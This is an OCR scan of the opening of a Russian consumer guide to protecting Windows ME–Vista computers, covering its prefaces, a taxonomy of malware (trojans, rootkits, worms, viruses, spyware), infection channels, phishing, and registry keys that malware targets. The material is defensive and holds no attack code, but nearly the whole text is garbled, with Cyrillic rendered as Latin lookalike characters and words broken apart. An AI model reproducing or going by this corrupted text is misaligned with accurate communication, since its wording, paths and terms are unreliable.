BesonacHbIn UHTepHeT.
YHuBepcanbHas 3awmTta ana Windows ME — Vista

ABTOp-cocTaBuTeNnb Hukonan ['onoBsko

N3paHne TpeTbe, NI3AMEeHEHHOE N OONOJIHEHHOE

NMpepancnoBue K nepBOMYy U3[aHUIO

CpoenaTtb VIHTepHeT 6e3onacHbIM — MeYTa MHOIMMX 3KCNEePTOB M MPOCTbIX
nonb3oBaTenen, OoAgHaKO MedyTa 3Ta Noka 4YTo HecbbiTouHas. Ob6opoT
BPedOHOCHbIX nporpamm B CeTn pacTeT rog oT roga, co3aarTcs BCE HOBbIE
mMeToabl 06xo4a CUCTEM KaK pPeakTUMBHOW, Tak M MPOaKTUBHOW 3aluTbl OT
BUpycoB. Bce aTo U MHOrMe gpyrme gaktopbl 3aCTaBnsOT UCKaTb PeELLEHMS,
nosponswwme 3P@EeKTMBHO 3awmMTUTL MHGopMaumo 6e3  yCTaHOBKM
cneynanu3mpoBaHHOro NporpamMmMHoro obecneveHust.

Kasanocb 6Obl, O0OBOMbHO 3HAYUTENBbHOE 4YMCNIO WU pasHoobpasne
onepauuoHHbIX cucTtem oOT Microsoft oTpuualoT camy BO3MOXHOCTb
yHUBepcarbHbIX peweHnit. CmeeM Bac 3aBepuUTb, YTO 3TO HE TaK — HECMOTpPS
Ha pasnTenbHble NOPON (PYHKUMOHANbHbLIE W rpaduyeckue oTNnyus
OnepaunoHHbIX  CUCTEM cemenctea  Windows, OHM NOCTPOEHDI
NPUONNU3NTENBHO Ha OOHUX N TEX Xe NPUHUMNax opraHn3aunm padboTbl, YTO
NO3BOMNIIO HaM BbipaboTaTb pekomMeHdaunn, CNoCoBHbIE HAAEXHO 3aWUTUTb
npakTuyeckn nbon COBpPEMEHHbIN KomMbioTep. Hawm pekomengauuun He
npegycMmaTpuBaloT COBETOB MO YCTAHOBKE W HACTPOMKE KakMx-nnbo
cneynannampoBaHHbIX NPOrpamMMHbIX NPOAYKTOB ANS 3alMThl BalnX AaHHbIX
— BaM He noTtpebyeTcs HMYero, Kpome CTaHAapTHbIX CPEACTB onepaLmoHHON
CUCTEMbI M MPUKIAOHbIX NPOrpamMm.

Moyemy Tak? 3ayem pbITbCSA B HACTPOMKaAX CUCTEMBI, €CIIN C TEM Xe
YyCNexXoM MOXHO YCTaHOBUTb CleunanbHyo nporpaMmmy ans 3awmTtbl?

OTtBeT 3gecb npocTt. [opa3go 6GesonacHee He 3awmwatb Oblpbl B
cucTeMe, a OTKMYaTb CaMu Ablpbl, HA YPOBHE OMepaunoHHOM cUcTeMbl. B

9TOM cny4Yae AeNCTBYET NpaBuUrio: YUCTO He Tam, rae noameTaroT, a Tam, rae
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He MycOpAT. 3HauuTeNbHO 3PdeKkTMBHEE He OTpaxaTb CeTeBble aTaku
OpaHgmayapoM, a OTK4YaTb caM OObEKT 3TUX aTak, U Tak aanee.

Mbl caenaem 0630p TEXHWK MPOHWKHOBEHUSA BUMPYCOB, KPATKO MOSICHUM
CyTb W HasHayeHuMe nporpaMMHbIX CPeAcTB 3awuTtbl, caenaem ob3op
KPUTUYECKUX TOYEK CUCTEMbI U NpeacTaBuM BaM COBETbI MO 6e3onacHomy
KOH(pUrypmpoBaHmio Ballen cucteMbl. Takke Mbl He 06ongeM BHUMaHUEM U
cpencTBa ANarHOCTUKN.

OTM maTtepuanbl — CBOEro poda KOHLEHTPUPOBAHHLIWM OMbIT BeayLmx
9KCNEepTOB MO MPeaoTBPALLEHUIO BTOPXEHUA W NEYEHU CUCTEMbI OT
BUpycoB. B pa3po3HeHHOM Buae OHU yxe nybnukoBanucb B Cetn — Tenepb
Mbl COBMpPaeEM nX B OOHY KHUTY.

Ypaaum Bam u ynctoro NHtepHeTa!

Aemopesl

NMpeaucnoBue K TpeTbeMy U3faHUKO

B ckopom BpemeHM UCMONHSeTCa ABa roga C MOMEHTa MNosIBNEHUS B
ceTn VIHTepHeT nepBon BEPCUN IMEKTPOHHON KHUMM «be3onacHbin HTepHeT.
YHuBepcansHaga 3awmta gna Windows ME - Vista». 3a 3TO BpeMsi COCTOASCSA
pag Hebe3blHTEPECHbIX 0BCY>KAEHUN KHUMM, CNOCOBCTBOBABLLNX HAKOMSEHWUIO
n obpaboTke onbiTa, LEHHOIO ANs €e AanbHENLLEro pasBmUTus, Ha pasnnyHbIX
pecypcax, MOCBSILEHHbIX MH(OpPMaUMOHHON 6GesonacHocTn. PesynbTarthl
9TUX OUCKYCCUN, a TaKkKe pag MHbIX (dakToOpOB NPUBENN aBTOpa-CoCcTaBuUTeNd
K MbICIIM, YTO NOTEHUManbHOe HasHavyeHne n yHKUMOHan KHUrM NocTeneHHo
pacLumpstoTcs, Tpebysa TeM caMbiM He TONbKO aganTaunn, HO U akTUYECKN
MHOro nogxoga K nogbopy, o6bLEMY WM UIMOXKEHUIO MaTepuana — 4YTO U
NOCMY>XWUMNO OTNPAaBHOM TOYKOW AN Havana paboTbl Hag TPETbMM U3gaHneEM
KHUIW.

KHura no-npexHemy He CTaBuT CBOEW 3agayen ObiTb BCEOOBLEMIOLLNM

CNpaBOYHUKOM, coepXalumm B cebe Bce 3HaHUs U3 obnactu BMpyconornm u
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3awuTbl  MHOpPMaUUKW,  HaKOMMEHHble 3a BPEMS  CyLeCTBOBaHUSA
9NEKTPOHHBIX BbIYUCIIUTENMBHbLIX MalnH. CyLWHOCTb HACTOALWEro usgaHus
COCTOUT B KpaTKOM W3MOXEHUN MWUHUMAaNbHO HeobXoOauMMbIX CBeAEHUN,
NO3BONSALWMX MNoceTutento WMHTepHeTa nydwe pasbupatbCs B Bomnpocax
3aWnTbl CBOEro KoMMnbtoTepa OT BPELOHOCHbIX (PakTOpoB, MOHMMATb, MO
KakMM KaHarnam OHW MOTyT MPOHMKaTb M YTO HEOOXoOUMO MPeAnpUHATL OIS
9(PPEKTUBHOrO KOHTPONS YMNOMSHYTbIX KaHanoB. COOTBETCTBEHHO, KHUra
npegHasHa4yaeTca Nofb3oBaTeNAM C HyNEBbIMU UMM HAYanbHbIMW 3HAHUSAMU
B obnacTtn KoMnbTEPHOM 6€30MacHOCTU M 3alWmnTbl MHpOPMaLUK, a Takke C
06LWMM YPOBHEM KOMMBIOTEPHOM FPAMOTHOCTM HE HUXKE HadarnbHOrO.
N3noxeHne mateprana B TPETbEM U30aHMM HAYHETCS C ONUCaHKUS Yrpo3
GesonacHOCTM KOMMblOTEPA, MPOAOIPKUTCS CBeAeHus MM 006 agekBaTHbIX UM
CpeacTBax 3aluTbl M 3aBEPLUMTCHA pekoMeHgaumsmm no obecnedeHuto
GesonacHoctTn. B npunoxeHne BouageT uMHGoOpMauMa O  MOJIE3HOM
nporpammMHoOM obecneyeHun, pecypcax WHTepHeTa, peKkoMeHOyeMbIX K
perynsipHoMy NoceLleHnto, U NPUMEpPLI TOro, Kak BbINOJTHEHNE pekoMeHaaunmn
KHWUIM CNOCOOCTBYET MOBLILLEHNIO 3alumLLeHHOCTU. Cpean UHbIX U3BMEHEHU —
60 nblwas aganTMpPOBaHHOCTb COBETOB KHUMM K OMNEpPauuoHHON cucteme
Windows Vista, a Takke [OOMNONHUTENbHbIE KOMMEHTapuu K pagy
pPEKOMEHOALMIA, MPU3BaHHbIE PA3bACHUTbL T€ WX acnekTbl, KOTOpble 4acTo

Bbi3bIBAlOT BOMPOCHI Yy YNTAOLLUNX.

Hukonau Nonosko
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Hacmsb 1. Yepo3bl 6e3onacHocmu

HaunHas wu3anoxeHne maTtepuana B 3TOM pasgerne, Heobxoammo
OTMETUTb, 4YTO B (POKyce Hawero BHMMaHuA OyoyT HaxoguTbesa
NCKNIOYUTENBHO TE€ BPEOOHOCHbIE haKTOpbl, KOTOpPble CBs3aHbl C paboTou
TEX WU UHbIX Pa3HOBUAHOCTEN NporpaMmHoro obecneyeHus. MNoHATne yrpos
BGe3onacHOCTN sBNSAETCA BeCbMa LUMPOKMM UM BKIOYAET B cebs Takke u
COBOKYMHOCTb annapaTHbIX Yrpo3, onMcaHue KOTOpbIX He BXOAUT B 3ajayu
3TOro nocobus.

Ha paHHbIn MOMEHT He CylecTByeT e€eauHOM U obuenpuHaTOn
Knaccudgukaumm nporpaMmMHbIX yrpo3 6€30nacHOCTU, YTO YaCcTUYHO CBSI3aHO
CO cneundukon pbiHKA  3aWMTHOrO  MNporpammHoro  obecnedeHus.
TepMMHONOrMg, onucbiBaroWasa Te Un UHble Yyrpo3bl, YaCTO OKa3bliBaeTCHA He
B cdepe BedeHWs HaydHbIX paboTHWKOB, HO B cdyepe OTBETCTBEHHOCTU
cneumanuctoB MO MapPKeTUHry, 4YTO B pes3ynbraTte npuBOAUT K
HarpoOMOXAEHNIO Pa3HOOOpa3HbIX HAMMEHOBAHUN, MMEILLNX CBOEN LEsbH
BHYLUMUTb KIMWEHTY MbICNb O MPEBOCXOACTBE OLHOrO NMpPOoAyKTa Hazg ApYrum.
Bmecte ¢ Tem cywlecTByeT HeKoe OOLLENPUHATOE MOHMMaHME OCHOBHbIX
TEPMUHOB, W3 KOTOPOro OObIMHO MOXHO BbLIBECTU WTOroBoe cpegHee
ornpenernexHue.

MoXHO pasgenuTb nporpaMmmHble  yrpo3bl ©6e30MacHOCTU Ha  Tpu
yCrnoBHble rpynnbl: 1) BpeAoOHOCHOEe MnporpamMmmHoe obecneyeHue, 2)
BPeAOHOCHbIe CeTeBble TexXHONorum n 3) noTeHUuuanbHO YA3BUMbIN

dyHKUMoHan. BkpaTue paccMOTpUM COCTaB KaXaowm 13 rpynmn.

BpenoHocHoe nporpaMmmHoe obecne4vyeHue, unu malware (QHrn.
malicious software) — obuiee HaMMmeHoBaHME [Afsa BCEX MNPOrpamMMHbIX
NPOAYKTOB, LeNblo KOTOPbIX 3aBEOOMO SIBMSETCS HAaHEeCEHWe TOro U UHOro
ywepba KOHeYHOMYy nosib3oBaTento. HecmoTpsas Ha  MHOrOYUCHEHHbIEe

pa3nindna B nogxogax K WMEHOBaAHUIO, OONbLIMHCTBO npov|3Bo,£u/|Tene|7|
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aHTUBUPYCHbIX NPOAYKTOB CXOAHbl BO MHEHUWN, YTO CYLLECTBYIOT 4 OCHOBHblE

pa3HOBMOHOCTW BPEOAOHOCHbLIX NporpamMmm.

1) Trojan (trojan horse, «mpoOSIHCKUU KOHb», «mposiHeu» u m.d.). ITOT
po4  BPEAOHOCHLIX nporpaMmm  Obin BbIAENEH MOCre  MNosiBfeHUs
KOMMbIOTEPHbLIX BUPYCOB, Mackupylowmxcsa nog nosesHoe MO mn Takmm
obpasom 3acTaBnaAwLWMX Nonb3oBaTensa 3anyctnutb Ux. B HacTosiwee Bpems
ornpederieHMe 9Toro TepMUHa SABMSETCA OOBOJSIbHO pacnsibiBYaTbiM — B
KaTeropumto TPOSHCKMX MporpamMmm nonagarT CpenctBa Kpaxu, YHUUYTOXEHUS,
N3MeHeHNa UHopMaLUnK, HapyLeHns paboTbl OTAENbHBIX KOMMNLIOTEPOB U
ceTeun, 3arpyskm Mnu yCTaHOBKM HOBOro BpPeAOHOCHOro koga v T1.n. MHorue
TPOSIHCKME NpOorpaMmmbl HanpaBfeHbl Ha N3BrevYeHne PMHaAHCOBOW BbIroabl U3
BPeOOHOCHbIX aencteun. PakTuyeckn onpenerieHne 3ToMmy pody 4dacTo
[aeTcs Yyepes ero oTnnyune ot Apyrux poaos.

TposiHcKas nporpamMmMa OObl4YHO SBRASETCHA OTAESbHbIM MPUNOXEHUEM,
KoTopoe pacnpocTpaHsieTcs yepes B3/TOMaHHbIE Be6-CTpaHuLbl,
9NEKTPOHHYI0 MOYTY, CUCTEMbI MFHOBEHHbIX cooOLWeHnn n T.4. Ha gaHHbIA
MOMEHT 3TOT poA BpeaoHocHoro N0 aBnseTcsa Hanbonee MHOrOYUCIEHHLIM.

K TposiHCKMM Takke OTHOCAT OBbl4HO crieaylouiMe ABe pPasHOBUOHOCTU

BPELAOHOCHbLIX NPOrpaMm:

- Rootkit (pyTkuT), CpeacTBO COKPbITUS WM MaCKUPOBKM (pawnnos,
NpoLeccoB, KNYen peectpa OT nonb3oBaTend KoOMMNblTEpa WNU
aHTmBMpycHoro [10;

- Backdoor (6akgop), cpeacTtBO HeCaHKUMOHUPOBAHHOIO YyOaneHHoro

ynpaBneHnst MHPULMPOBAHHBIM KOMMbIOTEPOM.

2) Worm (4epeb). BpegoHocHble nporpammbl 3TOFO poaa onpeaensoTcs
4yepe3 MX CMOCOOHOCTb K CaMOPa3MHOXEHWID, T.€. K BOCMNPOW3BEAEHUIO U

pacnpocTpaHeHUo CBOUX Konuin. B aononHeHne k TpaguuMoHHbIM cnocobam
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pacnpocTpaHeHUs: (3NeKTPOHHas MnoyTa, CUCTEMbl MIHOBEHHbLIX COOOLLEHUN,
ceTm obmeHa darnamu) 4YepBM MOryT KOMMpoBaTb cebsi Ha ceTeBble
pecypchl, B nanku ¢ obLmMmM A0CTYNOM, Ha CbeMHbIE HOCUTENN UHopMaLUN.
UepBb, Kkak npaBuUno, Takke SBMASETCA OTAENbHbIM MPUIOXEHNEM, 3a
NCKMIOYEHMEM  HEKOTOpbIX  pas3HOBUOHOCTENM  OGecTenecHbiX  4YepBew,
CYLLECTBYIOLINX B BUAE CETEBbIX MAKETOB.

®yHKUMOHAN nporpamm-yepBelrt 6Goree y30K, YeM Yy TPOSIHCKMX
NPUNOXeHW, U O0ObIYHO HanpaBfeH Ha YHUYTOXEHWe WHdopMaLuK,

NoBpeXaeHne CUCTEMHOrO peecTpa, HapyLleHne paboTbl MPUNOXEHNIA.

3) Virus (knaccu4deckuu eupyc). OTOT pof BPEOOHOCHOro nNporpaMMHOro
obecneyeHnss BO3HWK MCTOPMYECKM paHblle BCEX OCTamnbHbIX W MOMOXWUI
Hayano WCNonb30BaHMUKD TEepMMHA «BUPYC» MO OTHOLUEHUIO KO BCEN
COBOKYMHOCTM BPEOOHOCHbIX NporpamMmm. Knaccmyecknin BupyC OCyLLECTBISET
3apaxeHne UCMonHsaemblx dannos, [obaensss B HUX CBOW  Koag W
obecneunBasa Takum o6Gpas3om CBOM 3anyck W BbIMNOSIHEHME. Pa3MHOXeHue
Knaccuyeckoro Bupyca npoucxoamnT obbl4HO B npefenax MHOUUMPOBaHHOM
CUCTEMBbI, XOTH, 6€3yCrnoBHO, OH CNOCOBEH NOKMHYTL €€ U NEPEMECTUTLCA Ha
APpYryto BMecCTe C 3apaXeHHbIMU hannamu.

Cxematnyeckm ogmH M3 CrnocoboB 3apaeHWs MCMonHseMoro darna

KnacCU4ecknM BUPYCOM M3006paxkeH Ha pucyHke 1.

Puc. 1. Cxema 00HO20 U3 criocoboes 3apaxeHus ¢halinia Kraccu4eckum eupycom

B HacTodwee BpemMa nonynapHOCTb KacCUYEeCKUX BUPYCOB cpeau
aBTopoB BpeaoHocHoro [10 CcHuxaeTcs,, OAdHako fedyeHue annos,
3apaxeHHbIX UMW, MNO-NPEeXHEeMY OCTaeTCA CHOXHbIM ONS aHTUBUPYCHbLIX

NPOOYKTOB.
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TepmuHonormnyeckaa 3ametka. CoBnageHne HaMMeHOBaHUS 3TOro Kracca
BPEOOHOCHbIX nporpamMm Cc obwnmM HasBaHMEM BCEN COBOKYMHOCTU
BPEOOHOCHOIO nporpaMmMHoro obecnedyeHusi BpeMeHamu nNpuBOAUT K
OWMBOYHOMY MOHMMAHUKO CKa3aHHOrO WM HanMCaHHOro, Mno3TOMy B
nocriegHee BpeMs CywecTBYyeT YyCcTonMumBas TeHAEHUUS K 3aMeLLeHUro
TEPMUHA «KOMMbIOTEPHbLIA BUPYC» B 3Ha4YeHUn «BpepoHocHoe [1O» Gonee
o0WMM  aHrnosi3bl4YHbIM  MOHATMEM  «malware» U1 anbTepHaTUBHbLIMU
TEpPMUHaMN — K NpUMeEpY, «NPOHUKHOBEHUE». Mbl B npefenax 4aHHOW KHUMM
Oyoem uvcnonb3oBaTb MOHATUE  «BUPYC» KaK  CUHOHUM  MOHATUSA
«BPEOOHOCHOE nMporpaMmHoe obecrneyeHne», a ana  obo3HaYeHus

npeacrtaesuternen knacca Virus npuMeHnM TEPMUH «KIMacCUYECKNn BUPYCY.

4) Other malware (Opyaue 8pedoHoCHbIe rnpogpammel). NponssoanTtenu
aHTMBNPYCOB OBOLIYHO OCTaBNAKT NOAOOHbLIA Kracc Ana nporpamMmm, He
nooxo4dawmnx nog onpenesieHne Tpex OfuMCaHHbIX Bbille PasHOBUOHOCTEW,
nmbo Aona nporpamMMHbIX MNPOAYKTOB, HE HaHOCALWMX HeNoCcpenCTBEHHOro

Bpenda, HO criyalumx ans paspaboTku BpegoHocHoro [M10.

O6patute BHMMaHMe: OeUCTBUS, NpeanpuHMMaemMble aHTUBUpPYCHbIM 10
npn ob6HapyXeHUn BUpyca, BapbMpPYylOTCA B 3aBUCMMOCTM OT Kracca.
TposiHCKMe nporpamMmbl U NpOrpaMmbl-4epPBM  MOSTHOCTLIO  COCTOAT U3
BPELOHOCHOro Kofa M He HeCYT HMKaKoOW Mone3HoWm Ans norb3oBaTend unu
cucTeMbl MHGOpMaL MK, NO3TOMY Npn OBHapPYXEeHUM OHU NPOCTO ydasisrmcs
aHTMBMPYCOM; B CBOO oYepefb, Knaccuieckne BMpyChbl BCTpevanTcst 06bIYHO
B COCTaBe 3apa)XeHHOro nonesHoro pavna, ons kotoporo 3awutHoe [10
3anyckaeT npouenypbl JiedeHus, T.e. yoaneHud BpPefOHOCHOW 4actu u3
nermTMMHoro koga dgarna. Bmecte ¢ Tem Heo6Xxo0ANMO OTMETUTL: B TO BpEMS
Kak pa3paboTyMkM OOHMX aHTMBMPYCOB MPUMEHSIOT TEPMUH «JfeYEeHne» Ko
BCEM pasHOBUOHOCTAM BpegoHocHoro 1O, aprymeHTuMpysa 3TO TeMm, 4YTO B

cny4yae obHapy>XeHUs TPOSIHCKOW MporpamMmbl UM YepBS MOXeT TpeboBaTbCs
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He TOSbKO yaarieHue camoro MCMOSfHAeMoro daina Bupyca, HO U neveHve
CUCTEMbI OT cnegoB ero npebbiBaHMs, pa3paboTymkm Opyrux 3almUTHbIX
peLLeHnn nonararoT, 4To cnegyeT MHOpMMpoBaTb NOMb3oBaTENs TOMbLKO 06
yoaneHun dawnnos, nogpasymeBas npu 3TOM Takke W ycTpaHeHue cnenos
MHeKuun B cucTeme. BcrnegctBume 3TOr0  BpeMEHaMu  CribiaTcs
YyTBEPXOEHUS Nnorfb3oBaTenen «aHtTmempyc A nyduwe, 4em aHtmBupyc b — b
yMeeT TOmNbKo yaanATb, a A ewe u neynt», XoTd B AENCTBUTENbHOCTU 3TU
ABa aHTUBMpPYCa BbIMOMHAT NPU OBHAPY>XEeHUN WMHMPEKUMM OOHU N Te Xe

JENCTBUS.

BHe npenenos OMUCaHHbIX BbilLE KnaccoB cylecTByeT
cnaboonpegeneHHas rpynna MOTEHUMANbHO OMACHOTrO MPOrpamMMHOro
obecneyeHnsi, HaMMEHOBaHME KOTOPOM  LUMPOKO  BapbupyeTca  OT
NPOVN3BOANTENSA K TMPOU3BOAUTENIO — HeXesameslbHoe po2pamMMHOe
obecrieueHue, potentially unwanted software, riskware n 1.4. HanonHeHue
AAHHOro Knacca 3aBMCUT OObIYHO OT TOro, Kak TOT WM MHOW MOCTaBLUMK
aHTUBMPYCHLIX PELLUEHUI NMOHMMAaET coaepkaHne 3Toro TepmmnHa. OObIYHO B

I'IOLI,06HbIe rpynnbl NPUHATO OTHOCUTD.

- Adware (peknamHble nporpammbl) — CpeacTBa  3arpy3ku U
AEMOHCTPMPOBaHUS NHPOPMaLIMK PEKITaMHOIO XxapakTepa, a Takke OTnpaBku
cBeAEeHUNn obpaTHOM CBA3M 3aKa3umnKy peknambl;

- Spyware (WNUWOHCKME nporpamMmmbl) — cpeactsa cbopa M OTApaBKK
KOHoMAaeHumnansHom nHdgopmMauunu;

- Riskware (nporpammbl rpynnbl pucka) — nerMTUMHbIE NPOrpamMMHble
NpoayKTbl, YHKUMOHAN KOTOPbIX MO3BOMNSET UCMONb3oBaTb WX B
3rIOHaMEpPEHHbIX Lensx.

*kk
Cymmupyem  cnocobbl  pacnpocTpaHeHusd, KOTopble  UCMONb3yeT

BpegoHOCHOE nporpaMmmHoe obecneyeHne BCeX KNaccoB U pPa3HOBUOHOCTEWN.
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1) OJnekTpoHHass NoYTa, CUCTEMbl MrFHOBEHHbIX COOOLLIEeHUH,
cucteMmbl obmeHa channamu. Bupyc MoXeT ObiTb BNOXEH B 3NIEKTPOHHOE
NMMCbMO; cCbifika Ha BpegoHocHoe MO mMoxeT ObiTb pacnpocTpaHeHa vepes
nouTty unu MHTepHeT-nengxep.

2) BpepoHocHble Mnu B3nioMaHHble Beb-canTbl. Y3en WHTepHeTa
MOXET M3Ha4anbHO coAep)XaTb OMaCHOE COAEepPXMMOE, NPOHMKalLlee Ha
KOMNbIOTEP MNPU OTKPbITUM CTpaHUUbl B OKHe obospeBaTens, unn ObiTb
MHPULMPOBAH B pe3yribTaTe B3fioMa.

3) Hocutenu uHcopmauum (gucketbl, Aucku, Flash-Hakonutenwm).
[Mpy NOOKMIOYEHMM CBHLEMHONO HOCUTENd WM Mpu 3anncu KOMMakT-Aucka
BPEOOHOCHbIN UCMOMNHAEMbIN harn MOXeT ObiTb KONMMPOBaH Ha HOCUTENb U
BMOCNEeACTBMM aBTOMaTUYECKM 3anyLLEH HAa HE3apaXeHHOM KOMMboTepe.

4) WUHdmumpoBaHHble UcCNOfHseMble dannbl, aBTOPCKUE COOPKMU
nporpaMmMHbIX MPOAYKTOB, MNepecoOpaHHble AUCTPUOYTUBLI (T.e.
yCTaHOBO4YHbIE MaKeTbl MpPOrpamMMm, U3MEHEeHHble TPeTbMMMU NULaMK).
BpenooHocHass nporpamma MOXeT ObiTb BHegpeHa B AUCTPUMOYTMB mnu
BbIfIOXXEeHa ANs 3arpy3ku nog BUAOM NOSIE3HOWN.

5) Jdkcnnyatauua ya3BMMOCTEM NMpPOrpaMMHOro obecrnevyeHuss unum
noTeHUuuanbHO YA3BMMOro ¢yHKUMOHaNa onepauMoHHON CUCTEMbI.
CornacHo nocnegHMMm uccnegoBaHWsM, NpoBefeHHbIM cheunanucTaMmm B
obnactm wHgopmMaunoHHon 6e30nacHOCTU, KOMMbKOTEP, Ha KOTOPOM
paboTaloT NporpaMMHble NPOAYKTbI C HEUCNPABEHHBIMUN YSI3BMMOCTSIMU U HE
yCTaHOBMEHa HWKakasi cuctema 3awuTbl, MOXeT OblTb WHUUMPOBAH B
TeyeHune 3-5 MUHYT.

*%k%

BpeAOHOCHbIMU ceTeBbIMM TeXHOMOrMAMM Mbl Oyaem HasbiBaTb

dopMbl  3rIOHAMEPEHHON AEATENbHOCTM B ceTU WHTepHeT, a WMEHHO

crneaywLume.

1) Cnam (spam). lNpuHATO onpeaensTb cnaMm Kak MacCOBblE€ PacCbIfnKu
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coobLleHnn, KoTopble agpecaTbl HE UIBABMANN XenaHusa U / unu cornacus
nony4vaTb; NoA06HbIE PaCCLINIKN UMEKT MPENMYLLECTBEHHO PEKNaMHbIA UNK
BpPedoHOCHbIN XapakTep. B HacToswee Bpemsa cnam paccbiiaeTcs vepes
MHOrMe nonynspHble KOMMYHWUKAUMOHHble cpenctBa WHTepHeTa —
9NIEKTPOHHYIO MOYTY, CUCTEMbI MFHOBEHHbIX COO6LEeHMN, dopymMbl U T.A4.
Paccbinika cnama HaxogauTcsl B TECHOW CBA3M C  NPOU3BOACTBOM WU
pacnpocTpaHeEHNEM BPEOOHOCHOrO MporpamMMHoOro obecrneyeHus, a Takke C

HEKOTOPbIMN NHbIMWN BPEOOHOCHLIM CETEBbIMU TEXHOJIOTMAMN.

2) WHTepHeT-molweHHUYecTBO. BpegoHocHaa [OeAaTenbHOCTb Takoro
poda MOXeT [MpuHUMaTb pasnnyHble  ¢OpMbl  —  KOHCTPyupOBaHWe
domMHaHCOBbLIX NUpamua, npodaxa ganblUMBbIX aHTUBUPYCHLIX MPOrpaMMHbIX
NpoAaykToB, ghuwuHe (phishing) n gp.

PUWIMHIOM  MNPUHATO  HasblBaTb  BPEAOHOCHYH  OEATEeNbHOCTb,
HanpasfieHHYI0 Ha nornyvyeHne o6MaHHbIM MyTeM KOHUAEHUMANbHbIX
AaHHbIX nonb3oBatens. O6blMHO UWKMHI  peanudyeTcs NOCPeaCTBOM
co3gaHus Beb-CTpaHuu, B TOYHOCTM MMUTUPYIOLWIMX canTbl WHTepHeT-
MarasnHoB, 6aHKOB, couMarbHbIX CETEN, MOCTABLUUKOB YCyr XOCTUHra u T.M.
[Monb3oBaTento nocTtynaetr cnam-nucbMo, coobliatowee emy, 4To
Mcrnonb3yemMmbli UM CcepBUC SIKOObl MPOCUT €ero MoCeTUTb CBOK YYETHYIO
3anMcb W BbINOMAHUTL C HeW Kakue-nMbo [OencTeusi; B Tene nucbMma
NPUBOAUTCA CChbIflka ONna nepexoda. HaxaB Ha ccbinky, nonb3oBaTterb
nonagaeT Ha JIOXKHbIM CavT, roe emy rnpegnaraloT BBECTU [OaHHble ASiS
AO0CTyrna K y4eTHOM 3anucu; ecnu nosib3oBaTtesib He pacrno3HaeT, YTO CauT He
ABNSETCA MNOAMMHHBIM, OH MOXET BBECTU UMSI U Napofb, KOoTopble OyayT
OTnpassfieHbl 3MI0YMbILUSIEHHUKAM U UCMOMNb30BaHbl OS5 XULLEHUS OEeHEXHbIX
cpencTs, B3riloMa canTa rnosis3oBartens v 1.4.

PuLnHrosble canTbl OBbIMHO pacnonaratTcs Mo agpecam, CXOXUM C

agpecaMmm UMUTUPYEMbIX CanWTOB — K npumepy, http://www.webmoney.com

MOXeT ObITb UMUTUPOBaH agpecom Buaa http://www.webmoney.domain.com.
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OGpatmcss Tenepb K PacCMOTPEHMIO MOTEHUMANbHO aTaKyeMbIX
00BbLEKTOB oOnepauyMoOHHOW CUCTEMbl M 3aBepLUMM TeM CaMbiM CMUCOK

BO3MOXHbIX BEKTOPOB AOJ14 aTaKW.

1) ®aunbl 1 nanku. Yawe gpyrmx Ogns pasmelleHust BpeOoHOCHbIX
006BHEKTOB MCMNONb3YTCA crnegyoLume agpeca:

a) kopeHb aucka (C:\, D:\ uTt.n);

06) nankm nonb3oBaTtenbcknx npodunen (C:\Documents and
Settings\ ana Windows XP u C:\Users\ gnsa Windows Vista);

B) nanka onepauuoHHou cuctembl (C:\WINDOWS\) mn HekoTopble
BNoXeHHble B Hee kKaTanorn (C:\WINDOWS\system\, C:\WINDOWS\
system32\, C:\WINDOWS\system32\drivers\ wnT.n.).

BxogHbiMM  BOpoTaMyn OnNa  MHMEKUMM MOryT  4ABNATLCA  Nankw,
OTKpbITbIe AnA aoctyna mn3sHe (shared folders, Ha »xaproHe HasblBaemble
«pacwapeHHbiMny). lMankm ¢ obwum [O0CTYNnoM MO3BONSAOT HECKONbKUM
KoMmnbtoTepam, OObeaMHEHHbIM B ceTb, paboTtatb C OAHUM U TEM Xe
pecypcom; BCReacTBME 3TOro, K MpuMMepy, B HUX MOXET aBTOMaTUYEeCKM

3arpyxatbcsl BpegoHocHoe MO ¢ Apyrmx KOMMNbOTEPOB.

2) PeecTp. CuctemHbin peectp — 6a3a AaHHbIX, NpeaHas3HavyeHHas ans
XpaHeHns napamMeTpoB NpPoOrpaMmm U KOMMOHEHTOB ONEPaUNOHHON CUCTEMBI;
NPOCMOTP U pedakTUpoBaHWE peecTpa MOryT NPOM3BOAUTBLCS BCTPOEHHbLIM
pegaktopom peectpa Windows (C:\WINDOWS\regedit.exe) wvnu
CTOPOHHUMM NporpammamMmn. OCHOBHbIMM NOHATUSAMU NpKU paboTe ¢ peecTpom

ABNAKOTCA KyCT, unu BeTBb (hive), krod (key) n 3HadeHune (value):

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control//CurrentUser

KycT Krtroum 3HaueHMe
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C TOuYKM 3peHna 6e30MacHOCTU MOXHO BblOENUTb HECKOSIbKO YCNOBHbIX
rpynn Kro4Yemn, KoTopble MoryT 6bITb atakoBaHbl Bpe4oHOCHbIM [10:

a) KnwuM aBTo3anycka. IJTW Kounm obecnevmBardT UM MOryT
obecneunTb aBTOMATUYECKUM 3anyCK MNPUNOXEHUn, Bubnuotek n apyrux
00beKkToB nNpu crtapTe cucTemMbl. [ns ynpaBrneHus KnyYamm aBTo3anycka,
NOMMMO PeaakTOpOB peecTpa, MOryT ObiTb WUCNONb30BaHbl CneuuanbHble

MHCTPYMeHTbI — Autoruns, Online Solutions Autoruns Manager v ap.

0) knuYM napameTpoB Ge3onacHOCTU. B aTy rpynny nonagatoT Krouu,
onpegenswowme HacTponkm 6esonacHoctTu WHTepHeT-coeanHeHun, paboTy
6paHamayapa Windows, rpynnosble NOIUTUKM OnepaunoHHON CUCTEMbI U T.M.
BpenoHocHoe nporpammHoe obecneyeHne MOXET M3MEHATb MNapameTpbl
6esonacHoctTn Windows 3a cyeT MaHUNynsauuMi C 3TUMK  Kodamun. B

KayecTBe npumMmepa MoryT BbITb NPMBEOEHDI KIHOYK:
*\SOFTWARE\Microsoft\Windows\CurrentVersion\Ilnternet Settings\,

*

e - Jgobom KycCT,

\Software\Microsoft\Windows\CurrentVersion\Policies\,

*

e - Jobom KycCT,

HKLM\SYSTEM\ControlSet???\Services\SharedAccess\Parameters\FirewalIPolicy\,

rme ? — moGOM eNMHUYHEN CUMBOJI.
B) KJTHOYM perncrpauum CUCTEMHbIX CRyX0 n apavBepoB. 3anuvcu,

oTBevawLme 3a perncrpaunto 1 3anyck cnyxb (npoueccos, paboTaroLmx C

onpeaeneHHbIMNU CUCTEMHBIMU NPUBUAENNAMU) U OpanBEPOB (KOMMOHEHTOB

a[pa ornepawmMoHHON CUCTEMbI), pacrnonaratTcd No agpecam

